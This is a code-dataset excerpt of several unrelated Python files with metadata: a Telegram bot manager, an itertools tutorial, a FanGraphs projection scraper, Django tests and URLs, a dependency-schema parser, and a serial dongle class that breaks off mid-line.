get_spam_list(call)\r\n elif call.data == 'delB':\r\n delete_bot_menu_callback(call)\r\n elif call.data == 'delete_bot':\r\n delete_bot_callback(call)\r\n elif call.data == 'a_button':\r\n pass\r\n elif call.data == 'm_buttons':\r\n pass\r\n elif call.data == 'greeting':\r\n set_greetings_callback(call)\r\n else:\r\n try:\r\n user_commands = [x[0] for x in DB.get_commands(_all=True, user_id=call.from_user.id)]\r\n except TypeError:\r\n user_commands = []\r\n if call.data in user_commands:\r\n user_commands_callback(call)\r\n elif call.from_user.id in client_status:\r\n if 'bot_name' in client_status[call.from_user.id]:\r\n if call.data in DB.get_banned_users(user_id=call.from_user.id,\r\n bot_name=client_status[call.from_user.id]['bot_name']).split():\r\n DB.clear_ban_user(user_id=call.from_user.id, banned_user=call.data,\r\n bot_name=client_status[call.from_user.id]['bot_name'])\r\n bot.answer_callback_query(text='Пользователь разблокирован', callback_query_id=call.id)\r\n get_two_level_settings(call, client_status[call.from_user.id]['bot_name'])\r\n elif call.data == 'all':\r\n get_two_level_settings(call, 'all')\r\n else:\r\n get_two_level_settings(call, call.data)\r\n\r\n\r\ndef get_spam_list(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n spam = DB.get_banned_users(user_id=call.from_user.id, bot_name=client_status[call.from_user.id]['bot_name']).split()\r\n if spam:\r\n for i in spam:\r\n name = bot.get_chat_member(chat_id=int(i), user_id=int(i)).user.first_name\r\n user_button = telebot.types.InlineKeyboardButton(text=name, callback_data=i)\r\n keyboard.add(user_button)\r\n back = telebot.types.InlineKeyboardButton(text='Назад', callback_data='cancel')\r\n keyboard.add(back)\r\n bot.edit_message_text(chat_id=call.from_user.id,\r\n text='Заблокированные пользователи. Нажмите на пользователя для разблокировки.',\r\n reply_markup=keyboard,\r\n message_id=call.message.message_id)\r\n else:\r\n bot.answer_callback_query(text='Список пуст', callback_query_id=call.id)\r\n\r\n\r\ndef set_greetings(chat_id, message_id='', edit=False, _all=False):\r\n if not _all:\r\n current_first_greeting = DB.get_greeting(user_id=chat_id, bot_name=client_status[chat_id]['bot_name'])\r\n current_second_greeting = DB.get_greeting(second=True, user_id=chat_id,\r\n bot_name=client_status[chat_id]['bot_name'])\r\n msg = 'Настройка приветствий бота: @{}\\n' \\\r\n 'Текущее первое приветствие: {}\\n' \\\r\n 'Текущее второе приветствие: {}'.format(client_status[chat_id]['bot_name'],\r\n current_first_greeting[0] if current_first_greeting is not None else 'None',\r\n current_second_greeting[0] if current_second_greeting is not None else 'None')\r\n else:\r\n msg = 'Настройка приветствий всех ботов.'\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n first = telebot.types.InlineKeyboardButton(text='Первое приветствие', callback_data='first')\r\n second = telebot.types.InlineKeyboardButton(text='Второе приветствие', callback_data='second')\r\n cancel = telebot.types.InlineKeyboardButton(text='Назад', callback_data='cancel')\r\n keyboard.add(first)\r\n keyboard.add(second)\r\n keyboard.add(cancel)\r\n if not edit:\r\n bot.send_message(chat_id=chat_id, text=msg, reply_markup=keyboard)\r\n else:\r\n bot.edit_message_text(chat_id=chat_id, message_id=message_id, text=msg, reply_markup=keyboard)\r\n\r\n\r\ndef run_bots():\r\n print('Запуск пользовательских ботов.')\r\n counter = 0\r\n for i in DB.get_all_tokens():\r\n if check_token(i[0]):\r\n counter += 1\r\n print('Запуск бота под номером: {}.'.format(counter))\r\n name = get_bot_name(i[0])\r\n process = Process(target=func.main, args=(i[0], i[1]))\r\n if i[1] not in processes:\r\n processes[i[1]] = {name: process}\r\n else:\r\n processes[i[1]].update({name: process})\r\n try:\r\n process.start()\r\n except RuntimeError:\r\n print('Can\\'t start new process')\r\n else:\r\n print('Token {} was deleted'.format(i[0]))\r\n DB.delete_items(token=i[0], user_id=i[1])\r\n\r\n\r\ndef main():\r\n run_bots()\r\n print('Основной бот запущен.')\r\n bot.polling(none_stop=True)\r\n\r\n\r\nif __name__ == '__main__':\r\n DB = connector.DataBaseConnect()\r\n main()\r\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 41340, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.compile", "line_number": 10, "usage_type": "call"}, {"api_name": "telebot.TeleBot", "line_number": 13, "usage_type": "call"}, {"api_name": "telebot.TeleBot", "line_number": 21, "usage_type": "call"}, {"api_name": "telebot.TeleBot", "line_number": 28, "usage_type": "call"}, {"api_name": "telebot.TeleBot", "line_number": 34, "usage_type": "call"}, {"api_name": "telebot.TeleBot", "line_number": 38, "usage_type": "call"}, {"api_name": "telebot.types.ReplyKeyboardMarkup", "line_number": 48, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 48, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 61, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 61, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 62, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 62, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 76, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 76, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 77, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 77, "usage_type": "attribute"}, {"api_name": "multiprocessing.Process", "line_number": 103, "usage_type": "call"}, {"api_name": "func.main", "line_number": 103, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 208, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 208, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 209, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 209, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 226, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 226, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 227, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 227, "usage_type": "attribute"}, {"api_name": "imgur.upload_image", "line_number": 239, "usage_type": "call"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 256, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 256, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 260, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 260, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 262, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 262, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 277, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 277, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 306, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 306, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 307, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 307, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 308, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 308, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 309, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 309, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 310, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 310, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 311, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 311, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 312, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 312, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 313, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 313, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 315, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 315, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 317, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 317, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 318, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 318, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 321, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 321, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 322, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 322, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 347, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 347, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 348, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 348, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 349, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 349, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 350, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 350, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 352, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 352, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 367, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 367, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 369, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 369, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 371, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 371, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 393, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 393, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 394, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 394, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 440, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 440, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 441, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 441, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 457, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 457, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 458, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 458, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 498, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 498, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 499, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 499, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 509, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 509, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 510, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 510, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 525, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 525, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 526, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 526, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 527, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 527, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 538, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 538, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 539, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 539, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 540, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 540, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 701, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 701, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 706, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 706, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 708, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 708, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 730, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 730, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 731, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 731, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 732, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 732, "usage_type": "attribute"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 733, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 733, "usage_type": "attribute"}, {"api_name": "multiprocessing.Process", "line_number": 751, "usage_type": "call"}, {"api_name": "func.main", "line_number": 751, "usage_type": "attribute"}, {"api_name": "connector.DataBaseConnect", "line_number": 772, "usage_type": "call"}]} {"seq_id": "332328226", "text": "#itertools-用于操作迭代对象的函数\nimport itertools\n\n#无限迭代器\nnatuals = itertools.count(1)\nfor n in natuals:\n\tprint(n)\n\n#无限循环序列\ncs = itertools.cycle('ABC')\nfor c in cs:\n\tprint(c)\n\t\n#循环元素，可限定次数\nns = itertools.repeat('A', 3)\nfor n in ns:\n\tprint(n)\n\n#截取有序序列\nnatuals = itertools.count(1)\nns = itertools.takewhile(lambda x:x<=10,natuals)\nlist(ns)\n\n#串联迭代对象\nfor c in itertools.chain('ABC','XYZ'):\n\tprint(c)\n\n#把迭代器中相邻的重复元素挑出来放在一起\nfor key,group in itertools.groupby('AAABBCCAA',lambda c:c.upper()):\n\tprint(key,list(group))\n\n#计算圆周率\ndef pi(N):\n\t#setp 1:创建一个奇数数列\n\tnatuals = itertools.count(1,2)\n\t#setp 2:取该序列的前N项\n\tns = itertools.takewhile(lambda x:x<=(2*N-1),natuals)\n\t#setp 3:添加正负符号并用4除 4/1 -4/3 4/5\n\t#setp 4:求和\n\tres = 0\n\tfor k,v in enumerate(list(ns)):\n\t res += 4/v if k%2==0 else -4/v\n\treturn res\n\nprint(pi(10))\nprint(pi(100))\nprint(pi(1000))\nprint(pi(10000))\nassert 3.04 < pi(10) < 3.05\nassert 3.13 < pi(100) < 3.14\nassert 3.140 < pi(1000) < 3.141\nassert 3.1414 < pi(10000) < 3.1415\nprint('ok')\n", "sub_path": "learn_python/built_in_module/create_itertools.py", "file_name": "create_itertools.py", "file_ext": "py", "file_size_in_byte": 1164, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "itertools.count", "line_number": 5, "usage_type": "call"}, {"api_name": "itertools.cycle", "line_number": 10, "usage_type": "call"}, {"api_name": "itertools.repeat", "line_number": 15, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 20, "usage_type": "call"}, {"api_name": "itertools.takewhile", "line_number": 21, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 25, "usage_type": "call"}, {"api_name": "itertools.groupby", "line_number": 29, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 35, "usage_type": "call"}, {"api_name": "itertools.takewhile", "line_number": 37, "usage_type": "call"}]} {"seq_id": "161209580", "text": "__author__ = 'Ryan'\nfrom bs4 import *\nimport pandas as pd\nimport requests\nimport pickle\nimport datetime\nimport math\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport os\nimport time\nimport random\nfrom urllib.request import urlretrieve\nimport sys\nimport shutil\n\n\nclass FG_Scrape:\n def __init__(self):\n self.addr = '/projections/'\n self.zips_ros_b = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=bat&type=rzips&team=0&lg=all&players=0'\n self.zips_ros_p = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=pit&type=rzips&team=0&lg=all&players=0'\n self.steamer_ros_b = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=bat&type=steamerr&team=0&lg=all&players=0'\n self.steamer_ros_p = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=pit&type=steamerr&team=0&lg=all&players=0'\n self.steamer_b = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=bat&type=steamer&team=0&lg=all&players=0'\n self.steamer_p = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=pit&type=steamer&team=0&lg=all&players=0'\n self.dc_ros_p = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=bat&type=rfangraphsdc&team=0&lg=all&players=0'\n self.dc_ros_b = 'http://www.fangraphs.com/projections.aspx?pos=all&stats=pit&type=rfangraphsdc&team=0&lg=all&players=0'\n # self.link_list = [self.zips_ros_b, self.zips_ros_p, self.steamer_ros_b, self.steamer_ros_p]#, self.dc_ros_p, self.dc_ros_b]\n self.link_list = [self.steamer_b, self.steamer_p]\n self.name_list = ['zips_ros_b', 'zips_ros_p', 'steamer_ros_b', 'steamer_ros_p'] # , 'dc_ros_p', 'dc_ros_b']\n chromedriver = 'D:\\downloads/chromedriver'\n os.environ['webdriver.chrome.driver'] = chromedriver\n self.driver = webdriver.Chrome(chromedriver)\n self.dl_path = 'C:\\\\Users\\Ryan\\Downloads'\n self.dest_path = 'C:\\\\Users\\Ryan\\PycharmProjects\\\\NCB_Stats\\projections'\n\n def scrape(self):\n for l, n in zip(self.link_list, self.name_list):\n self.driver.get(url=l)\n time.sleep(5)\n print('link up')\n link = self.driver.find_element_by_id('ProjectionBoard1_cmdCSV').click()\n time.sleep(5)\n print('clicked')\n d = os.curdir\n for filename in os.listdir(self.dl_path):\n print(filename)\n if filename == 'FanGraphs Leaderboard.csv':\n print('rename')\n src_path = os.path.join(self.dl_path, filename)\n dest_path = os.path.join(self.dest_path, n + '.csv')\n os.rename(src_path, dest_path)\n print('rename done')\n # shutil.copy(filename, self.addr)\n\n def clear_old(self):\n for filename in os.listdir(self.dl_path):\n if 'FanGraphs Leaderboard' in filename:\n os.remove(filename)\n for filename in os.listdir(self.dest_path):\n os.remove(filename)\n\n def run_scrape(self):\n self.clear_old()\n self.scrape()\n\n\ndef main():\n scrape = FG_Scrape()\n scrape.run_scrape()\n\n\nmain()\n", "sub_path": "OLD SCRIPTS/FanGraphs_Scrape.py", "file_name": "FanGraphs_Scrape.py", "file_ext": "py", "file_size_in_byte": 3187, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 34, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "os.curdir", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 53, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 58, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 60, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 61, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 62, "usage_type": "call"}]} {"seq_id": "117110167", "text": "from django.test import TestCase\nfrom productos.models import Product\nfrom django.urls import reverse\nfrom django.core.management import call_command\n\nclass VerProductosTestCase(TestCase):\n def setUp(self):\n Product.objects.create(original_code='qwerewetret', product_code='sahsakjhaksjh', name='capot',\n description='blanco', car_brand='honda', car_model='civic',\n car_year='2020', public_price='200', card_price='250', master_price='100',\n wholesale_price='150', dozen_price='190')\n\n def test_url_correct(self):\n response = self.client.get(reverse('shop:ver_catalogo'))\n self.assertEqual(response.status_code, 200)\n\n def test_view(self):\n response = self.client.get(reverse('shop:ver_catalogo'))\n self.assertContains(response, 'capot')\n\n\n", "sub_path": "autopartes/shop/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 874, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.test.TestCase", "line_number": 6, "usage_type": "name"}, {"api_name": "productos.models.Product.objects.create", "line_number": 8, "usage_type": "call"}, {"api_name": "productos.models.Product.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "productos.models.Product", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 18, "usage_type": "call"}]} {"seq_id": "333055041", "text": "import copy\nimport importlib\nimport itertools\n\nimport six\nimport yaml\n\nfrom ioc.schema.dependency import Dependency\nfrom ioc.schema.exc import InvalidDeclaration\nfrom ioc.schema.adapters import SymbolDependencyAdapter\nfrom ioc.schema.adapters import LiteralDependencyAdapter\nfrom ioc.schema.adapters import NestedDependencyAdapter\nfrom ioc.schema.adapters import DependencyCollectionAdapter\nfrom ioc.schema.base import Schema\n\n\nclass SchemaParser(object):\n \"\"\"Parses the dependency configuration schema.\"\"\"\n\n def __init__(self, provider=None, override=False):\n self.provider = provider or importlib.import_module('ioc.provider')\n self.override = override\n\n def load(self, dependencies):\n \"\"\"Inspect the dependency configuration and validate the declared\n items.\n \"\"\"\n schema = Schema(self.provider, override=self.override)\n\n # Check that each dependency has at least a name.\n names = set()\n for dep in dependencies:\n name = dep.get('name')\n if name is None:\n raise InvalidDeclaration(dep, \"No name specified\")\n\n if not isinstance(name, six.string_types):\n raise InvalidDeclaration(dep, \"Invalid name specified: %s\" % repr(name))\n if name in names:\n raise InvalidDeclaration(dep, \"Duplicate name: %s\" % name)\n\n names.add(name)\n\n # For each dependency, try to load them as either a Simple, Literal\n # or NestedDependency.\n adapters = [\n NestedDependencyAdapter(),\n SymbolDependencyAdapter(),\n LiteralDependencyAdapter(),\n DependencyCollectionAdapter(),\n ]\n\n for dep in dependencies:\n cleaned_dep = None\n for adapter in adapters:\n cleaned_dep, errors = adapter.load(copy.deepcopy(dep))\n if not errors:\n break\n\n cleaned_dep = None\n\n # If there is still no dependency loaded at this point, this\n # means the declaration was invalid.\n if cleaned_dep is None:\n raise InvalidDeclaration(dep, \"Invalid dependency declaration\")\n\n assert issubclass(type(cleaned_dep), Dependency),\\\n \"load() must return a Dependency implementation, got %s\" %\\\n repr(cleaned_dep)\n schema.add(cleaned_dep)\n\n return schema\n", "sub_path": "ioc/schema/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 2436, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "importlib.import_module", "line_number": 21, "usage_type": "call"}, {"api_name": "ioc.schema.base.Schema", "line_number": 28, "usage_type": "call"}, {"api_name": "ioc.schema.exc.InvalidDeclaration", "line_number": 35, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 37, "usage_type": "attribute"}, {"api_name": "ioc.schema.exc.InvalidDeclaration", "line_number": 38, "usage_type": "call"}, {"api_name": "ioc.schema.exc.InvalidDeclaration", "line_number": 40, "usage_type": "call"}, {"api_name": "ioc.schema.adapters.NestedDependencyAdapter", "line_number": 47, "usage_type": "call"}, {"api_name": "ioc.schema.adapters.SymbolDependencyAdapter", "line_number": 48, "usage_type": "call"}, {"api_name": "ioc.schema.adapters.LiteralDependencyAdapter", "line_number": 49, "usage_type": "call"}, {"api_name": "ioc.schema.adapters.DependencyCollectionAdapter", "line_number": 50, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 56, "usage_type": "call"}, {"api_name": "ioc.schema.exc.InvalidDeclaration", "line_number": 65, "usage_type": "call"}, {"api_name": "ioc.schema.dependency.Dependency", "line_number": 67, "usage_type": "argument"}]} {"seq_id": "316326927", "text": "from django.urls import path\n\nfrom . import views\n\napp_name = 'slots'\nurlpatterns = [\n path('', views.index_view, name='index'),\n\n path('login/', views.login_view, name='login'),\n path('logout/', views.logout_view, name='logout'),\n path('signup/', views.signup_view, name='signup'),\n \n path('shops/', views.ShopsView.as_view(), name='shops'),\n path('shops/<int:pk>/', views.ShopView.as_view(), name='view-shop'),\n path('shops/<int:shop>/<str:method>/<int:slot>/',\n views.slot_manage_view,\n name='manage-slot'\n ),\n path('shops/<int:shop>/modify/', views.modify_view, name='modify'),\n\n path('me/', views.user_view, name='user'),\n path('me/slots/', views.SlotsView.as_view(), name='slots'),\n path('me/settings/', views.user_settings_view, name='settings'),\n]\n", "sub_path": "slots/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 809, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}]} {"seq_id": "472235000", "text": "from __future__ import print_function\r\nimport serial, time, threading\r\nimport serial.tools.list_ports\r\nimport sys, glob, math\r\n# from ftdiManager import FTDIManager\r\n\r\nclass Statistics():\r\n dongleWakeup = 0\r\n dongleBytesDropped = 0\r\n radioPackagesSentOk = 0\r\n radioPackagesSentErr = 0\r\n radioPackagesReceiveOk = 0\r\n radioPackagesReceiveErr = 0\r\n def toString(self):\r\n statStr = \"dongleWakeup =\"+str(self.dongleWakeup)+\"\\n\"\r\n statStr += \"dongleBytesDropped =\"+str(self.dongleBytesDropped)+\"\\n\"\r\n statStr += \"radioPackagesSentOk =\"+str(self.radioPackagesSentOk)+\"\\n\"\r\n statStr += \"radioPackagesSentErr =\"+str(self.radioPackagesSentErr)+\"\\n\"\r\n statStr += \"radioPackagesReceiveOk =\"+str(self.radioPackagesReceiveOk)+\"\\n\"\r\n statStr += \"radioPackagesReceiveErr =\"+str(self.radioPackagesReceiveErr)+\"\\n\"\r\n return statStr\r\n\r\n\r\n \r\nclass Dongle():\r\n def __init__(self):\r\n self.ser = None\r\n self.stat = Statistics\r\n self.lock = threading.Lock()\r\n self.autoconnectThread = None\r\n pass\r\n \r\n def connect(self, portNr):\r\n self.lock.acquire()\r\n try:#actual BAUD rate on arduino 368 @8MHz => 8*10^6/(8*(8+1)) = 111111 (instead of 115200)\r\n if sys.platform.startswith('linux'):\r\n portList = glob.glob ('/dev/tty[A-Za-z]*')\r\n self.ser = serial.Serial(portList[portNr], 500000, timeout = 0.005) # 0.015\r\n elif sys.platform.startswith('win32'):\r\n self.ser = serial.Serial(portNr, 500000, timeout = 0.015, xonxoff=False, rtscts=False, dsrdtr=False)\r\n elif sys.platform.startswith('cygwin'):\r\n print(\"Warning: Cygwin environment not yet tested\")\r\n portList = glob.glob ('/dev/tty[A-Za-z]*')\r\n self.ser = serial.Serial(portList[portNr], 500000, timeout = 0.015)\r\n elif sys.platform.startswith('darwin'):\r\n #portsList = glob.glob('/dev/cu.usbserial-A602N31Z')\r\n portsList =glob.glob('/dev/cu.usb*')\r\n print(\"Warning: Mac OS X environment not yet tested\")\r\n self.ser = serial.Serial(portsList[portNr], 500000, timeout = 0.015) \r\n # FTDIManager.setLatency(portNr, 1) #TODO: check that it is a dongle first ##########\r\n self.lock.release()\r\n time.sleep(2)\r\n return self.ping()\r\n except Exception: # serial.SerialException eller ValueError\r\n self.lock.release()\r\n print(\"Connection Exception \", sys.exc_info())\r\n return False\r\n \r\n class DongleConnectThread(threading.Thread):\r\n def __init__(self, dongle, period = 1):\r\n threading.Thread.__init__(self)\r\n self._dongle = dongle\r\n self._period = period\r\n self._connected = False\r\n \r\n def reconnect(self):\r\n self._connected = False\r\n \r\n def isConnected(self):\r\n return self._connected\r\n \r\n def run(self):\r\n while True:\r\n try:\r\n if not self._connected:\r\n if self._autoconnect():\r\n self._connected = True\r\n time.sleep(self._period)\r\n except Exception:\r\n print(\"Exception in autoconnect thread! \", sys.exc_info())\r\n \r\n def _autoconnect(self):\r\n print(\"Trying to autoconnect dongle:\")\r\n if self._dongle.ping() == True: \r\n print(\" already connected\")\r\n return True\r\n \r\n self._dongle.close() # close open port if any\r\n for port, _, _ in sorted(serial.tools.list_ports.comports()):\r\n print(\" \",port, \"\", end='')\r\n res = 